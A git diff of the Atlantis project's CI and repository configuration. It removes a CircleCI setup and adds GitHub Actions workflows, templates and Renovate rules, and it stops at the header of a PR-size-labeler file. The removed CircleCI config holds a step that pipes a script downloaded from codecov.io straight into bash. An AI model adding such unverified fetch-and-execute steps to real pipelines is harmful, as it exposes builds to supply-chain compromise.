diff --git a/.adr-dir b/.adr-dir new file mode 100644 index 0000000000..c73b64aed2 --- /dev/null +++ b/.adr-dir @@ -0,0 +1 @@ +docs/adr diff --git a/.circleci/config.yml b/.circleci/config.yml deleted file mode 100644 index b7975adf44..0000000000 --- a/.circleci/config.yml +++ /dev/null @@ -1,121 +0,0 @@ -version: 2 -jobs: - test: - docker: - - image: runatlantis/testing-env:latest - environment: - GOFLAGS: "-mod=vendor" - steps: - - checkout - - run: make test-coverage - - run: - name: post coverage to codecov.io - command: bash <(curl -s https://codecov.io/bash) - - run: make check-fmt - - run: make check-lint - e2e: - docker: - - image: circleci/golang:1.14 # If you update this, update it in the Makefile too - environment: - # This version of TF will be downloaded before Atlantis is started. - # We do this instead of setting --default-tf-version because setting - # that flag starts the download asynchronously so we'd have a race - # condition. - TERRAFORM_VERSION: 0.13.5 - steps: - - checkout - - run: make build-service - # We don't run e2e tests on fork PRs because they don't have access to the secret env vars. - - run: if [ -z "${CIRCLE_PR_REPONAME}" ]; then ./scripts/e2e.sh; fi - - # Check that there's no missing links for the website. - # This job builds the website, starts a server to serve it, and then uses - # muffet (https://github.com/raviqqe/muffet) to perform the link check. - website_link_check: - docker: - # This image's Dockerfile is at runatlantis.io/Dockerfile - - image: runatlantis/ci-link-checker:0.1 - steps: - - checkout - - run: yarn install - - run: yarn website:build - - run: - name: http-server - command: http-server runatlantis.io/.vuepress/dist - background: true - # We use dockerize -wait here to wait until the server is up. - - run: | - dockerize -wait tcp://localhost:8080 -- \ - muffet \ - -e 'https://github\.com/runatlantis/atlantis/edit/master/.*' \ - -e 'https://github.com/helm/charts/tree/master/stable/atlantis#customization' \ - http://localhost:8080/ - - # Build and push 'latest' Docker tag. - docker_master: - docker: - - image: circleci/golang:1.14 # If you update this, update it in the Makefile too - environment: - GOFLAGS: "-mod=vendor" - steps: - - checkout - - run: make build-service - - setup_remote_docker - - run: - name: Build image - command: | - if [ "${CIRCLE_BRANCH}" == "master" ]; then - docker build -t runatlantis/atlantis:latest . - fi - - run: - name: Push image - command: | - if [ "${CIRCLE_BRANCH}" == "master" ]; then - docker login -u "$DOCKER_USER" -p "$DOCKER_PASSWORD" - docker push runatlantis/atlantis:latest - fi - # Build and push Docker tag. - docker_tag: - docker: - - image: circleci/golang:1.14 # If you update this, update it in the Makefile too - environment: - GOFLAGS: "-mod=vendor" - steps: - - checkout - - run: make build-service - - setup_remote_docker - - run: - name: Build and tag - command: | - if [ -n "${CIRCLE_TAG}" ]; then - docker build -t "runatlantis/atlantis:${CIRCLE_TAG}" . - docker login -u "$DOCKER_USER" -p "$DOCKER_PASSWORD" - docker push "runatlantis/atlantis:${CIRCLE_TAG}" - fi -workflows: - version: 2 - branch: - jobs: - - test: - filters: - branches: - ignore: /.*-docs/ - - e2e: - requires: [test] - filters: - branches: - ignore: /.*-docs/ - - docker_master: - requires: [e2e] - filters: - branches: - only: master - - website_link_check - tag: - jobs: - - docker_tag: - filters: - branches: - ignore: /.*/ - tags: - only: /^v.*/ diff --git a/.circleci/website_link_checker/Dockerfile b/.circleci/website_link_checker/Dockerfile deleted file mode 100644 index 5ba4d1294d..0000000000 --- a/.circleci/website_link_checker/Dockerfile +++ /dev/null @@ -1,16 +0,0 @@ -# This Dockerfile builds runatlantis/ci-link-checker. -# It is used in CircleCI to check if the website has any broken links. -FROM node:11 -ENV DOCKERIZE_VERSION v0.6.0 - -# Muffet is used to check for broken links. -COPY --from=raviqqe/muffet:1.0.3 muffet /usr/local/bin/muffet - -# http-server is used to serve the website locally as muffet checks it. -RUN yarn global add http-server - -# Dockerize is used to wait until the server is up and running before running -# muffet. -RUN wget https://github.com/jwilder/dockerize/releases/download/$DOCKERIZE_VERSION/dockerize-linux-amd64-$DOCKERIZE_VERSION.tar.gz \ - && tar -C /usr/local/bin -xzvf dockerize-linux-amd64-$DOCKERIZE_VERSION.tar.gz \ - && rm dockerize-linux-amd64-$DOCKERIZE_VERSION.tar.gz diff --git a/.dockerignore b/.dockerignore index 72ec49f7c8..523596ac26 100644 --- a/.dockerignore +++ b/.dockerignore @@ -1,3 +1,10 @@ * +!cmd/ +!scripts/download-release.sh +!server/ +!testdrive/ +!main.go +!go.mod +!go.sum !docker-entrypoint.sh !atlantis diff --git a/.editorconfig b/.editorconfig new file mode 100644 index 0000000000..3f90f6406f --- /dev/null +++ b/.editorconfig @@ -0,0 +1,12 @@ +root = true + +[*] +charset = utf-8 +end_of_line = lf +trim_trailing_whitespace = true +insert_final_newline = true + +[*.md] +indent_style = space +indent_size = 3 +trim_trailing_whitespace = false diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000000..d56abbf304 --- /dev/null +++ b/.gitattributes @@ -0,0 +1,2 @@ +# Set the default behavior, in case people don't have core.autocrlf set. +* text=auto eol=lf diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 0000000000..ecce26ca36 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,89 @@ +--- +name: Bug Report +about: You're experiencing an issue that is different than the documented behavior. +labels: bug +--- + + + +### Community Note + +* Please vote on this issue by adding a 👍 [reaction](https://blog.github.com/2016-03-10-add-reactions-to-pull-requests-issues-and-comments/) to the original issue to help the community and maintainers prioritize this request. Searching for pre-existing feature requests helps us consolidate datapoints for identical requirements into a single place, thank you! +* Please do not leave "+1" or other comments that do not add relevant new information or questions, they generate extra noise for issue followers and do not help prioritize the request. +* If you are interested in working on this issue or have submitted a pull request, please leave a comment. + + + +--- + + + +### Overview of the Issue + + + + +### Reproduction Steps + + + + +### Logs + + + + +### Environment details + + + + +### Additional Context + + + diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md new file mode 100644 index 0000000000..6e661b9768 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.md @@ -0,0 +1,47 @@ +--- +name: Feature request +about: Propose a concrete new feature +title: '' +labels: 'feature' +assignees: '' + +--- + + + +### Community Note + +- Please vote on this issue by adding a 👍 [reaction](https://blog.github.com/2016-03-10-add-reactions-to-pull-requests-issues-and-comments/) to the original issue to help the community and maintainers prioritize this request. Searching for pre-existing feature requests helps us consolidate datapoints for identical requirements into a single place, thank you! +- Please do not leave "+1" or other comments that do not add relevant new information or questions, they generate extra noise for issue followers and do not help prioritize the request. +- If you are interested in working on this issue or have submitted a pull request, please leave a comment. + + + +--- + +- [ ] I'd be willing to implement this feature ([contributing guide](https://github.com/runatlantis/atlantis/blob/main/CONTRIBUTING.md)) + +**Describe the user story** + + +**Describe the solution you'd like** + + +**Describe the drawbacks of your solution** + + +**Describe alternatives you've considered** + diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md new file mode 100644 index 0000000000..b916ff62b0 --- /dev/null +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -0,0 +1,29 @@ +## what + + + + +## why + + + +## tests + + + +## references + + + diff --git a/.github/cherry-pick-bot.yml b/.github/cherry-pick-bot.yml new file mode 100644 index 0000000000..1f62315d79 --- /dev/null +++ b/.github/cherry-pick-bot.yml @@ -0,0 +1,2 @@ +enabled: true +preservePullRequestTitle: true diff --git a/.github/labeler.yml b/.github/labeler.yml new file mode 100644 index 0000000000..6dd6741d81 --- /dev/null +++ b/.github/labeler.yml @@ -0,0 +1,50 @@ +build: +- changed-files: + - any-glob-to-any-file: 'Dockerfile*' + +dependencies: +- changed-files: + - any-glob-to-any-file: 'yarn.lock' + - any-glob-to-any-file: 'go.*' + +docs: +- changed-files: + - any-glob-to-any-file: 'runatlantis.io/**/*.md' + - any-glob-to-any-file: 'README.md' + +github-actions: +- changed-files: + - any-glob-to-any-file: + - '.github/workflows/*.yml' + +go: +- changed-files: + - any-glob-to-any-file: '**/*.go' + +provider/azuredevops: +- changed-files: + - any-glob-to-any-file: 'server/**/*azuredevops*.go' + +provider/bitbucket: +- changed-files: + - any-glob-to-any-file: 'server/**/*bitbucket*.go' + - any-glob-to-any-file: 'server/events/vcs/bitbucketcloud/*.go' + - any-glob-to-any-file: 'server/events/vcs/bitbucketserver/*.go' + +provider/github: +- changed-files: + - any-glob-to-any-file: 'server/**/*github*.go' + +provider/gitlab: +- changed-files: + - any-glob-to-any-file: 'server/**/*gitlab*.go' + +website: +- changed-files: + - any-glob-to-any-file: 'runatlantis.io/.vitepress/**/*' + - any-glob-to-any-file: 'package.json' + - any-glob-to-any-file: 'package-lock.json' + +blog: +- changed-files: + - any-glob-to-any-file: 'runatlantis.io/blog/**' diff --git a/.github/release.yml b/.github/release.yml new file mode 100644 index 0000000000..cf8a202a91 --- /dev/null +++ b/.github/release.yml @@ -0,0 +1,45 @@ +changelog: + exclude: + labels: + - ignore-for-release + - github-actions + authors: + - octocat + categories: + - title: Breaking Changes 🛠 + labels: + - Semver-Major + - breaking-change + - title: Exciting New Features 🎉 + labels: + - Semver-Minor + - enhancement + - feature + - title: Provider AzureDevops + labels: + - provider/azuredevops + - title: Provider Bitbucket + labels: + - provider/bitbucket + - title: Provider GitHub + labels: + - provider/github + - title: Provider GitLab + labels: + - provider/gitlab + - title: Bug fixes 🐛 + labels: + - bug + - title: Security changes + labels: + - security + - title: Documentation + labels: + - docs + - website + - title: Dependencies + labels: + - dependencies + - title: Other Changes 🔄 + labels: + - "*" diff --git a/.github/renovate.json5 b/.github/renovate.json5 new file mode 100644 index 0000000000..077428aa4a --- /dev/null +++ b/.github/renovate.json5 @@ -0,0 +1,143 @@ +{ + extends: [ + 'config:best-practices', + ':separateMultipleMajorReleases', + 'schedule:daily', + 'security:openssf-scorecard', + ], + commitMessageSuffix: ' in {{packageFile}}', + dependencyDashboardAutoclose: true, + automerge: true, + baseBranchPatterns: [ + 'main', + '/^release-.*/', + ], + platformAutomerge: true, + labels: [ + 'dependencies', + ], + postUpdateOptions: [ + 'gomodTidy', + 'gomodUpdateImportPaths', + 'npmDedupe', + ], + prHourlyLimit: 1, + minimumReleaseAge: '5 days', + osvVulnerabilityAlerts: true, + vulnerabilityAlerts: { + enabled: true, + labels: [ + 'security', + ], + }, + packageRules: [ + // enable release branches for security updates + { + matchBaseBranches: [ + '/^release-.*/', + ], + matchUpdateTypes: [ + 'security', + ], + enabled: true, + }, + // disable release branches for anything else + { + matchBaseBranches: [ + '/^release-.*/', + ], + enabled: false, + }, + { + matchBaseBranches: [ + 'main', + ], + matchFileNames: [ + 'package.json', + 'package-lock.json', + ], + }, + { + matchFileNames: [ + 'testing/**', + ], + additionalBranchPrefix: '{{packageFileDir}}-', + groupName: 'conftest-testing', + matchPackageNames: [ + '/conftest/', + ], + }, + { + ignorePaths: [ + 'testing/**', + ], + groupName: 'github-', + matchPackageNames: [ + '/github-actions/', + ], + }, + { + ignorePaths: [ + 'server/controllers/events/testdata/**/*.tf', + ], + matchDatasources: [ + 'terraform', + ], + }, + { + matchDatasources: [ + 'docker', + ], + matchPackageNames: [ + 'node', + 'cimg/node', + ], + versioning: 'node', + }, + { + matchPackageNames: [ + 'go', + 'golang', + ], + versioning: 'go', + groupName: 'go', + }, + ], + customManagers: [ + { + customType: 'regex', + managerFilePatterns: [ + '/(^|/)Dockerfile$/', + '/(^|/)Dockerfile\\.[^/]*$/', + ], + matchStrings: [ + 'renovate: datasource=(?.*?) depName=(?.*?)( versioning=(?.*?))?\\s(ARG|ENV) .*?_VERSION=(?.*)\\s', + ], + versioningTemplate: '{{#if versioning}}{{{versioning}}}{{else}}semver{{/if}}', + extractVersionTemplate: '^v(?\\d+\\.\\d+\\.\\d+)', + }, + { + customType: 'regex', + managerFilePatterns: [ + '/.*go$/', + ], + matchStrings: [ + '\\sconst .*Version = "(?.*)"\\s// renovate: datasource=(?.*?) depName=(?.*?)( versioning=(?.*?))?\\s', + ], + versioningTemplate: '{{#if versioning}}{{{versioning}}}{{else}}semver{{/if}}', + extractVersionTemplate: '^v(?\\d+\\.\\d+\\.\\d+)', + }, + { + customType: 'regex', + managerFilePatterns: [ + '/^\\.github/workflows/[^/]+\\.ya?ml$/', + '/Makefile$/', + ], + matchStrings: [ + 'renovate: datasource=(?.*?) depName=(?.*?)( versioning=(?.*?))?\\s.*?_VERSION: (?.*)\\s', + ], + versioningTemplate: '{{#if versioning}}{{{versioning}}}{{else}}semver{{/if}}', + extractVersionTemplate: '^v(?\\d+\\.\\d+\\.\\d+)', + }, + ], +} diff --git a/.github/workflows/atlantis-image.yml b/.github/workflows/atlantis-image.yml new file mode 100644 index 0000000000..b98a689a28 --- /dev/null +++ b/.github/workflows/atlantis-image.yml @@ -0,0 +1,255 @@ +name: atlantis-image + +on: + push: + branches: + - 'main' + - 'release-**' + tags: + - v*.*.* + pull_request: + branches: + - 'main' + - 'release-**' + types: + - opened + - reopened + - synchronize + - ready_for_review + workflow_dispatch: + +concurrency: + group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }} + cancel-in-progress: true + +jobs: + changes: + outputs: + should-run-build: ${{ steps.changes.outputs.src == 'true' || startsWith(github.ref, 'refs/tags/') }} + if: github.event.pull_request.draft == false + runs-on: ubuntu-24.04 + steps: + - name: Harden Runner + uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1 + with: + egress-policy: audit + + - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4 + - uses: dorny/paths-filter@de90cc6fb38fc0963ad72b210f1f284cd68cea36 # v3 + id: changes + with: + filters: | + src: + - 'Dockerfile' + - 'docker-entrypoint.sh' + - '.github/workflows/atlantis-image.yml' + - '**.go' + - 'go.*' + + build: + needs: [changes] + if: needs.changes.outputs.should-run-build == 'true' + name: Build Image + permissions: + contents: read + id-token: write + packages: write + attestations: write + strategy: + matrix: + image_type: [alpine, debian] + runs-on: ubuntu-24.04 + env: + # Set docker repo to either the fork or the main repo where the branch exists + DOCKER_REPO: ghcr.io/${{ github.repository }} + # Push if not a pull request and references the main branch + PUSH: ${{ github.event_name != 'pull_request' && (github.ref == 'refs/heads/main' || startsWith(github.ref, 'refs/tags/')) }} + + steps: + - name: Harden Runner + uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1 + with: + egress-policy: audit + + - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4 + + # Lint the Dockerfile first before setting anything up + - name: Lint Dockerfile + uses: hadolint/hadolint-action@54c9adbab1582c2ef04b2016b760714a4bfde3cf # v3.1.0 + with: + dockerfile: "Dockerfile" + + - name: Set up Go + uses: actions/setup-go@d35c59abb061a4a6fb18e82ac0862c26744d6ab5 # v5.5.0 + with: + go-version-file: "go.mod" + + - name: Set up QEMU + uses: docker/setup-qemu-action@29109295f81e9208d7d86ff1c6c12d2833863392 # v3 + with: + image: tonistiigi/binfmt:latest + platforms: arm64,arm + + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@e468171a9de216ec08956ac3ada2f0791b6bd435 # v3 + + - name: "Install cosign" + uses: sigstore/cosign-installer@d7d6bc7722e3daa8354c50bcb52f4837da5e9b6a # v3.8.1 + if: env.PUSH == 'true' && github.event_name != 'pull_request' + + # release version is the name of the tag i.e. v0.10.0 + # release version also has the image type appended i.e. v0.10.0-alpine + # release tag is either pre-release or latest i.e. latest + # release tag also has the image type appended i.e. latest-alpine + # if it's v0.10.0 and alpine, it will do v0.10.0, v0.10.0-alpine, latest, latest-alpine + # if it's v0.10.0 and debian, it will do v0.10.0-debian, latest-debian + - name: Docker meta + id: meta + uses: docker/metadata-action@902fa8ec7d6ecbf8d84d538b9b233a880e428804 # v5 + env: + SUFFIX: ${{ format('-{0}', matrix.image_type) }} + with: + images: | + ${{ env.DOCKER_REPO }} + labels: | + org.opencontainers.image.authors="@runatlantis Github Org" + org.opencontainers.image.licenses=Apache-2.0 + tags: | + # semver + type=semver,pattern={{version}},prefix=v,suffix=${{ env.SUFFIX }} + type=semver,pattern={{version}},prefix=v,enable=${{ matrix.image_type == 'alpine' }} + type=semver,pattern={{major}}.{{minor}},prefix=v,suffix=${{ env.SUFFIX }} + # dev + type=raw,event=push,value=dev,enable={{is_default_branch}},suffix=${{ env.SUFFIX }} + type=raw,event=push,value=dev,enable={{is_default_branch}},suffix=${{ env.SUFFIX }}-{{ sha }} + type=raw,event=push,value=dev,enable=${{ github.ref == format('refs/heads/{0}', 'main') && matrix.image_type == 'alpine' }},suffix= + # prerelease + type=raw,event=tag,value=prerelease-latest,enable=${{ startsWith(github.ref, 'refs/tags/') && contains(github.ref, 'pre') && matrix.image_type == 'alpine' }},suffix= + type=raw,event=tag,value=prerelease-latest,enable=${{ startsWith(github.ref, 'refs/tags/') && contains(github.ref, 'pre') }},suffix=${{ env.SUFFIX }} + # latest + type=raw,event=tag,value=latest,enable=${{ startsWith(github.ref, 'refs/tags/') && !contains(github.ref, 'pre') && matrix.image_type == 'alpine' }},suffix= + type=raw,event=tag,value=latest,enable=${{ startsWith(github.ref, 'refs/tags/') && !contains(github.ref, 'pre') }},suffix=${{ env.SUFFIX }} + # pr + type=ref,event=pr,suffix=${{ env.SUFFIX }} + flavor: | + # This is disabled here so we can use the raw form above + latest=false + # Suffix is not used here since there's no way to disable it above + + - name: Login to Packages Container registry + uses: docker/login-action@74a5d142397b4f367a81961eba4e8cd7edddf772 # v3 + with: + registry: ghcr.io + username: ${{ github.actor }} + password: ${{ secrets.GITHUB_TOKEN }} + + # Publish release to container registry + - name: Populate release version + if: contains(fromJson('["push", "pull_request"]'), github.event_name) + run: echo "RELEASE_VERSION=${{ startsWith(github.ref, 'refs/tags/') && '${GITHUB_REF#refs/*/}' || 'dev' }}" >> $GITHUB_ENV + + - name: "Build ${{ env.PUSH == 'true' && 'and push' || '' }} ${{ env.DOCKER_REPO }} image" + id: build + if: contains(fromJson('["push", "pull_request"]'), github.event_name) + uses: docker/build-push-action@263435318d21b8e681c14492fe198d362a7d2c83 # v6 + with: + cache-from: type=gha + cache-to: type=gha,mode=max + context: . + build-args: | + ATLANTIS_BASE_TAG_TYPE=${{ matrix.image_type }} + ATLANTIS_VERSION=${{ env.RELEASE_VERSION }} + ATLANTIS_COMMIT=${{ fromJSON(steps.meta.outputs.json).labels['org.opencontainers.image.revision'] }} + ATLANTIS_DATE=${{ fromJSON(steps.meta.outputs.json).labels['org.opencontainers.image.created'] }} + platforms: linux/arm64/v8, linux/amd64, linux/arm/v7 + push: ${{ env.PUSH }} + tags: ${{ steps.meta.outputs.tags }} + target: ${{ matrix.image_type }} + labels: ${{ steps.meta.outputs.labels }} + outputs: type=image,name=target,annotation-index.org.opencontainers.image.description=${{ fromJSON(steps.meta.outputs.json).labels['org.opencontainers.image.description'] }} + + - name: "Create Image Attestation" + if: env.PUSH == 'true' && github.event_name != 'pull_request' + uses: actions/attest-build-provenance@e8998f949152b193b063cb0ec769d69d929409be # v2.4.0 + with: + subject-digest: ${{ steps.build.outputs.digest }} + subject-name: ghcr.io/${{ github.repository }} + push-to-registry: true + + - name: "Sign images with environment annotations" + # no key needed, we're using the GitHub OIDC flow + if: env.PUSH == 'true' && github.event_name != 'pull_request' + run: | + # Sign dev tags, version tags, and latest tags + echo "${TAGS}" | xargs -I {} cosign sign \ + --yes \ + -a actor=${{ github.actor}} \ + -a ref_name=${{ github.ref_name}} \ + -a ref=${{ github.sha }} \ + {}@${DIGEST} + env: + TAGS: ${{ steps.meta.outputs.tags }} + DIGEST: ${{ steps.build.outputs.digest }} + + test: + needs: [changes] + if: needs.changes.outputs.should-run-build == 'true' + name: Test Image With Goss + runs-on: ubuntu-24.04 + strategy: + matrix: + image_type: [alpine, debian] + platform: [linux/arm64/v8, linux/amd64, linux/arm/v7] + env: + # Set docker repo to either the fork or the main repo where the branch exists + DOCKER_REPO: ghcr.io/${{ github.repository }} + + steps: + - name: Harden Runner + uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1 + with: + egress-policy: audit + + - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4 + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@e468171a9de216ec08956ac3ada2f0791b6bd435 # v3 + + - name: "Build and load into Docker" + if: contains(fromJson('["push", "pull_request"]'), github.event_name) + uses: docker/build-push-action@263435318d21b8e681c14492fe198d362a7d2c83 # v6 + with: + cache-from: type=gha + cache-to: type=gha,mode=max + context: . + build-args: | + ATLANTIS_BASE_TAG_TYPE=${{ matrix.image_type }} + push: false + load: true + tags: "${{ env.DOCKER_REPO }}:goss-test" + target: ${{ matrix.image_type }} + + - name: "Setup Goss" + uses: e1himself/goss-installation-action@fbb6fb55d3e59c96045b2500eeb8ce0995d99ac1 # v1.2.1 + with: + version: "v0.4.7" + + - name: Execute Goss tests + run: | + dgoss run --rm ${{ env.DOCKER_REPO }}:goss-test bash -c 'while true; do sleep 1; done;' + + skip-build: + needs: [changes] + if: needs.changes.outputs.should-run-build == 'false' + name: Build Image + strategy: + matrix: + image_type: [alpine, debian] + runs-on: ubuntu-24.04 + steps: + - name: Harden Runner + uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1 + with: + egress-policy: audit + + - run: 'echo "No build required"' + diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml new file mode 100644 index 0000000000..236a76be80 --- /dev/null +++ b/.github/workflows/codeql.yml @@ -0,0 +1,135 @@ +# For most projects, this workflow file will not need changing; you simply need +# to commit it to your repository. +# +# You may wish to alter this file to override the set of languages analyzed, +# or to provide custom queries or build logic. +# +# ******** NOTE ******** +# We have attempted to detect the languages in your repository. Please check +# the `language` matrix defined below to confirm you have the correct set of +# supported CodeQL languages. +# +name: "CodeQL" + +on: + push: + branches: + - 'main' + - 'release-**' + pull_request: + # The branches below must be a subset of the branches above + types: + - opened + - reopened + - synchronize + - ready_for_review + branches: + - 'main' + - 'release-**' + + schedule: + - cron: '17 9 * * 5' + +permissions: + contents: read + +jobs: + changes: + permissions: + contents: read # for dorny/paths-filter to fetch a list of changed files + pull-requests: read # for dorny/paths-filter to read pull requests + outputs: + should-run-analyze: ${{ steps.changes.outputs.src == 'true' }} + if: github.event.pull_request.draft == false + runs-on: ubuntu-24.04 + steps: + - name: Harden Runner + uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1 + with: + egress-policy: audit + + - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4 + - uses: dorny/paths-filter@de90cc6fb38fc0963ad72b210f1f284cd68cea36 # v3 + id: changes + with: + filters: | + src: + - '**.go' + - '**.js4' + + analyze: + needs: [changes] + name: Analyze + if: github.event.pull_request.draft == false && needs.changes.outputs.should-run-analyze == 'true' + runs-on: ubuntu-24.04 + permissions: + actions: read + contents: read + security-events: write + + strategy: + fail-fast: false + matrix: + language: [ 'go', 'javascript' ] + # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python', 'ruby' ] + # Use only 'java' to analyze code written in Java, Kotlin or both + # Use only 'javascript' to analyze code written in JavaScript, TypeScript or both + # Learn more about CodeQL language support at https://aka.ms/codeql-docs/language-support + + steps: + - name: Harden Runner + uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1 + with: + egress-policy: audit + + - name: Checkout repository + uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4 + + # Initializes the CodeQL tools for scanning. + - name: Initialize CodeQL + uses: github/codeql-action/init@ce28f5bb42b7a9f2c824e633a3f6ee835bab6858 # v3 + with: + languages: ${{ matrix.language }} + # If you wish to specify custom queries, you can do so here or in a config file. + # By default, queries listed here will override any specified in a config file. + # Prefix the list here with "+" to use these queries and those in the config file. + + # Details on CodeQL's query packs refer to : https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs + # queries: security-extended,security-and-quality + + + # Autobuild attempts to build any compiled languages (C/C++, C#, Go, or Java). + # If this step fails, then you should remove it and run the build manually (see below) + - name: Autobuild + uses: github/codeql-action/autobuild@ce28f5bb42b7a9f2c824e633a3f6ee835bab6858 # v3 + + # â„šī¸ Command-line programs to run using the OS shell. + # 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun + + # If the Autobuild fails above, remove it and uncomment the following three lines. + # modify them (or add more) to build your code if your project, please refer to the EXAMPLE below for guidance. + + # - run: | + # echo "Run, Build Application using script" + # ./location_of_script_within_repo/buildscript.sh + + - name: Perform CodeQL Analysis + uses: github/codeql-action/analyze@ce28f5bb42b7a9f2c824e633a3f6ee835bab6858 # v3 + with: + category: "/language:${{matrix.language}}" + + skip-analyze: + needs: [changes] + if: needs.changes.outputs.should-run-analyze == 'false' + name: Analyze + strategy: + matrix: + language: [ 'go', 'javascript' ] + runs-on: ubuntu-24.04 + steps: + - name: Harden Runner + uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1 + with: + egress-policy: audit + + - run: 'echo "No build required"' diff --git a/.github/workflows/dependency-review.yml b/.github/workflows/dependency-review.yml new file mode 100644 index 0000000000..38d16212e8 --- /dev/null +++ b/.github/workflows/dependency-review.yml @@ -0,0 +1,27 @@ +# Dependency Review Action +# +# This Action will scan dependency manifest files that change as part of a Pull Request, +# surfacing known-vulnerable versions of the packages declared or updated in the PR. +# Once installed, if the workflow run is marked as required, +# PRs introducing known-vulnerable packages will be blocked from merging. +# +# Source repository: https://github.com/actions/dependency-review-action +name: 'Dependency Review' +on: [pull_request] + +permissions: + contents: read + +jobs: + dependency-review: + runs-on: ubuntu-latest + steps: + - name: Harden Runner + uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1 + with: + egress-policy: audit + + - name: 'Checkout Repository' + uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + - name: 'Dependency Review' + uses: actions/dependency-review-action@da24556b548a50705dd671f47852072ea4c105d9 # v4.7.1 diff --git a/.github/workflows/labeler.yml b/.github/workflows/labeler.yml new file mode 100644 index 0000000000..59eb835b6e --- /dev/null +++ b/.github/workflows/labeler.yml @@ -0,0 +1,27 @@ +name: "Pull Request Labeler" + +on: + pull_request_target: + types: + - opened + - reopened + - synchronize + - ready_for_review + +permissions: + contents: read + +jobs: + triage: + permissions: + contents: read + pull-requests: write + if: github.event.pull_request.draft == false + runs-on: ubuntu-24.04 + steps: + - name: Harden Runner + uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1 + with: + egress-policy: audit + + - uses: actions/labeler@8558fd74291d67161a8a78ce36a881fa63b766a9 # v5 diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml new file mode 100644 index 0000000000..dd0222646e --- /dev/null +++ b/.github/workflows/lint.yml @@ -0,0 +1,84 @@ +name: linter + +on: + pull_request: + types: + - opened + - reopened + - synchronize + - ready_for_review + branches: + - "main" + - "release-**" + +concurrency: + group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }} + cancel-in-progress: true + +permissions: + # Required: allow read access to the content for analysis. + contents: read + # Optional: allow read access to pull request. Use with `only-new-issues` option. + pull-requests: read + # Optional: Allow write access to checks to allow the action to annotate code in the PR. + checks: write + +jobs: + changes: + outputs: + should-run-linting: ${{ steps.changes.outputs.go == 'true' }} + if: github.event.pull_request.draft == false + runs-on: ubuntu-24.04 + steps: + - name: Harden Runner + uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1 + with: + egress-policy: audit + + - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4 + - uses: dorny/paths-filter@de90cc6fb38fc0963ad72b210f1f284cd68cea36 # v3 + id: changes + with: + filters: | + go: + - '**.go' + - 'go.*' + - '.github/workflows/lint.yml' + - '.golangci.yml' + + golangci-lint: + needs: [changes] + if: github.event.pull_request.draft == false && needs.changes.outputs.should-run-linting == 'true' + name: Linting + runs-on: ubuntu-24.04 + steps: + - name: Harden Runner + uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1 + with: + egress-policy: audit + + - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4 + + # need to setup go toolchain explicitly + - uses: actions/setup-go@d35c59abb061a4a6fb18e82ac0862c26744d6ab5 # v5 + with: + go-version-file: go.mod + + - name: golangci-lint + uses: golangci/golangci-lint-action@55c2c1448f86e01eaae002a5a3a9624417608d84 # v6 + with: + # renovate: datasource=github-releases depName=golangci/golangci-lint + version: v1.64.4 + + skip-lint: + needs: [changes] + if: needs.changes.outputs.should-run-linting == 'false' + name: Linting + runs-on: ubuntu-24.04 + steps: + - name: Harden Runner + uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1 + with: + egress-policy: audit + + - run: 'echo "No build required"' diff --git a/.github/workflows/pr-lint.yml b/.github/workflows/pr-lint.yml new file mode 100644 index 0000000000..06d85d823b --- /dev/null +++ b/.github/workflows/pr-lint.yml @@ -0,0 +1,25 @@ +name: "Lint PR" + +on: + pull_request_target: + types: + - opened + - edited + - synchronize + +permissions: + pull-requests: read + +jobs: + main: + name: Validate PR title + runs-on: ubuntu-24.04 + steps: + - name: Harden Runner + uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1 + with: + egress-policy: audit + + - uses: amannn/action-semantic-pull-request@0723387faaf9b38adef4775cd42cfd5155ed6017 # v5 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/.github/workflows/pr-size-labeler.yml b/.github/workflows/pr-size-labeler.yml new file mode 100644 index 0000000000..a24d0188ba --- /dev/null +++ b/.github/workflows/pr-size-labeler.yml 